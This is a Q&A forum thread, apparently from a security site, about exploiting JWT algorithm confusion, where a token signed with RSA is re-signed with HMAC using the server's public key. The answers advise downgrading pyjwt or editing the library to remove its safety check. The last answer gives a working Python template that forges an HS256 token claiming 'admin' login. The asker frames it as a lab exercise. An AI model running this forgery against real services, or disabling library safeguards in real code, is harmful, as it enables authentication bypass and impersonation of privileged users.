I'm currently exploiting the vulnerability discussed here


Where the algorithm type in JWT can be changed from RSA to HMAC and signing the token with a given public key.

However, I wrote the below python code:

import jwt
import base64

# consider 'publickey' as the servers public key
code = 

This Throws an error :

InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

Im looking for an alternative where I can successfully sign it using the asymmetric key.


  • 1
    Have you tried editing the code? – Sjoerd Jun 7 '18 at 13:54
  • Editing in the sense?.. – Gowtham Jun 7 '18 at 13:58
  • The library was fixed to prevent this. That's what happens when vulnerabilities are reported... – AndrolGenhald Jun 7 '18 at 14:01
  • Actually I'm trying to exploit it on an predetermined environment. Where the server side code is vulnerable. So I wanted to exploit it. Is there any other options to do the same as the above code?.. – Gowtham Jun 7 '18 at 14:04

Use an old version of pyjwt (0.4.3) where this exception wasn't implemented yet.

pip install pyjwt==0.4.3

When running your program, it reports the line that throws the exception:

  File "/some-path/site-packages/jwt/algorithms.py", line 151, in prepare_key
    'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

So edit the file /some-path/site-packages/jwt/algorithms.py around line 151, so that it no longer throws the exception.

For example, put this in there:

invalid_strings = []
  • Ok.. I'll will try doing this.. – Gowtham Jun 7 '18 at 14:06

I ended up going a little more custom route to exploit this vulnerability. The following code can work as a general template to generate the necessary token without using jwt library.

from codecs import encode, decode
import requests
import hashlib
import hmac

# read the assymetric key
with open('public.pem', 'rb') as f:
    key = f.read()

# create an appropriate JSON object for header
header = b'{"typ":"JWT","alg":"HS256"}'
header = encode(header, 'base64').strip()

# create an appropriate JSON object for payload
payload = b'{"login":"admin"}'
payload = encode(payload, 'base64').strip()

# sign the payload
sig = hmac.new(key, header + b'.' + payload, hashlib.sha256).digest().strip()
sig = encode(sig, 'base64').strip()

# print the json token
jwt = '{}.{}.{}'.format(header.decode(), payload.decode(), sig.decode())

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.